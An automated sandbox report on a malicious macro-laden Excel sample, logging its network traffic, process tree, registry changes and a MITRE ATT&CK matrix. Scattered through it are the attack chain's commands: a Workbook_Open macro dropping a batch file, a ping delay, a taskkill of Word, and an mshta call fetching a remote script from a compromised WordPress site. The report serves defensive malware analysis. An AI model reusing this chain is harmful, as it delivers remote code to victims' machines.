Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2
Source: C:\Windows\System32\mshta.exeWindows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dllJump to behavior
Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior

System Summary

barindex
Document contains an embedded VBA macro with suspicious strings
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsOLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"Name: Workbook_Open
Source: C:\Windows\System32\mshta.exeCode function: 8_2_05097E408_2_05097E40
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsOLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_OpenName: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsOLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsVirustotal: Detection: 50%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsMetadefender: Detection: 29%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsReversingLabs: Detection: 41%
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x................................z).....................4.E.......................).............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........J.... ..J............h.......2..................J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............c.a.l.l........./....................... ........$.J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x............... .g.e.t.C.m.d.P.i.d...b.a.t. .............E.....c.a.l.l...........).............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............................i.d...b...................E.....c.a.l.l...........).............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ...................J....................................@c.J..... .........................v............P.......................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x................................z).....................4.E.......................).............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>..........J.... ..J............h.......2..................J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............s.e.t.........../....................... ........$.J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x............... .P.I.D.=.1. .............................E.....s.e.t.............).............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x.........................................................E.....s.e.t.............).............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x.................................-.....................4.E.......................).............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x............... .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. .................H.......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............................o.d.e.....................E.....m.o.d.e...........).............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ...................J....................................@c.J..... .........................v............P.......................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x................................z).....................4.E.......................).............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............c.d............./....................... ........$.J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x............... .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. .........E.....c.d...............).....................".......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................x...............................s.\.P.u...................E.....c.d...............).............................................Jump to behavior
Source: C:\Windows\System32\taskkill.exeConsole Write: ................................................d1K.......................6.............d...............e.6.............X.......B...............Jump to behavior
Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;WINWORD.EXE&quot;)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR60D4.tmpJump to behavior
Source: classification engineClassification label: mal100.troj.expl.evad.winXLS@11/87@5/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Windows\System32\mshta.exeCode function: 8_2_050993D4 push ecx; ret 8_2_05099432
Source: C:\Windows\System32\mshta.exeCode function: 8_2_050992C2 push ecx; ret 8_2_05099311
Source: C:\Windows\System32\mshta.exeCode function: 8_2_05097B7D push ecx; ret 8_2_05097BDB
Source: C:\Windows\System32\mshta.exeCode function: 8_2_05093002 push eax; retf 0009h8_2_05093003
Source: C:\Windows\System32\mshta.exeCode function: 8_2_05097802 pushad ; retf 0009h8_2_05097803
Source: C:\Windows\System32\mshta.exeCode function: 8_2_05097A83 push ecx; ret 8_2_05097AD2
Source: C:\Windows\System32\mshta.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\taskkill.exe TID: 1288Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2356Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\mshta.exeMemory protected: page read and write | page guardJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts1
Windows Management Instrumentation		Path Interception11
Process Injection		1
Masquerading		1
Input Capture		1
Virtualization/Sandbox Evasion		Remote Services1
Email Collection		Exfiltration Over Other Network Medium11
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts1
Command and Scripting Interpreter		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Modify Registry		LSASS Memory11
Remote System Discovery		Remote Desktop Protocol1
Input Capture		Exfiltration Over Bluetooth4
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain Accounts121
Scripting		Logon Script (Windows)Logon Script (Windows)1
Virtualization/Sandbox Evasion		Security Account Manager1
System Network Configuration Discovery		SMB/Windows Admin Shares1
Archive Collected Data		Automated Exfiltration3
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local Accounts23
Exploitation for Client Execution		Logon Script (Mac)Logon Script (Mac)11
Disable or Modify Tools		NTDS1
File and Directory Discovery		Distributed Component Object Model1
Clipboard Data		Scheduled Transfer14
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
Process Injection		LSA Secrets14
System Information Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.common121
Scripting		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup Items1
